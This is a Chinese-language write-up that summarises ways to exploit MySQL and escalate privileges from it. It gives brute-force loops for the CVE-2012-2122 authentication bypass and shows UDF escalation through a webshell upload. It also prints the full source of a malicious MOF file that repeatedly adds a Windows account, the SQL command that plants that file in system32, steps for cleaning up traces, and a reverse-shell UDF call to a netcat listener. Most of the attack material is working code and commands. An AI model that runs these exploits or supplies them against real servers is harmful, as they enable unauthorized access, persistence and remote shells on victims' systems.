mysql数据库漏洞利用及提权方式小结
CVE-2012-2122 Mysql身份认证漏洞
影响版本
Mysql
在5.5.24
之前
MariaDB
也差不多这个版本之前
漏洞原理
只要知道用户名,不断尝试就能够直接登入SQL
数据库,按照公告说法大约256
次就能够蒙对一次
漏洞复现
msf利用
hash解密
得到密码即可登录
python exp
#!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -u root -p -h 192.168.0.16 --password=test" shell=True).wait()
shell exp
for i in `seq 1 1000`; do mysql -u root -p -h 192.168.0.16 --password=bad 2>/dev/null; done
Mysql UDF提权
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
利用sqlmap进行UDF提权
利用msf进行UDF提权
使用mysql_udf_payload模块
适应于5.5.9以下,我这边的mysql版本号为5.5.53,已经超出了版本限制,所以不能提权
手工UDF提权
这里上传使用暗月的木马
登录进去,它会自动判断mysql
版本决定出导出dll
文件位置
然后导出udf
,发现没有plugin
这个目录
于是我们创建后就能成功导出
但是一直找不到文件。。,
最后使用其它的udf
提权文件发现可以,原来是这个udf
文件问题,这下便能执行命令
添加管理员,开启3389
等。。这里就略过
既然知道了mysql
账号密码当然也可以直接连接上去,然后上传文件,执行命令
Mysql MOF提权
直接上传文件MOF提权
直接上传mof.php
文件登录后执行任意命令
利用msf进行MOF提权
使用mysql_mof
模块,有的版本不能成功,比如我现在这个phpstudy
搭建的5.5.53
上传nullevt.mof文件进行MOF提权
nullevt.mof文件源码
#pragma namespace("\\\\.\\root\\subion")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user ghtwf011 ghtwf01 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
他会每五秒创建一个账户ghtwf011
,里面命令可以自定义
使用sql语句将文件导入到c:/windows/system32/wbem/mof/
下
select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
注意这里不能使用outfile
,因为会在末端写入新行,因此mof
在被当作二进制文件无法正常执行,所以我们用dumpfile
导出一行数据
成功生成了ghtwf011
账户
因为每五秒都会生成账户,痕迹清理的时候使用如下办法即可
net stop winmgmt
net user ghtwf011 /delete
切换到c:/windows/system32/wbem后del repository
net start winmgmt
Mysql反弹端口提权
原理就是声明一个backdoor
函数
exp如下,exp太长了文章发不出来。。我附件出来吧
第二条定义的@a
是udf.dll
内容的16
进制
依次执行命令
kali
使用nc
监听,这边执行select backshell("192.168.0.12"4444);
成功提权拿到shell
参考链接
https://www.freebuf.com/vuls/3815.html
https://xz.aliyun.com/t/2719#toc-14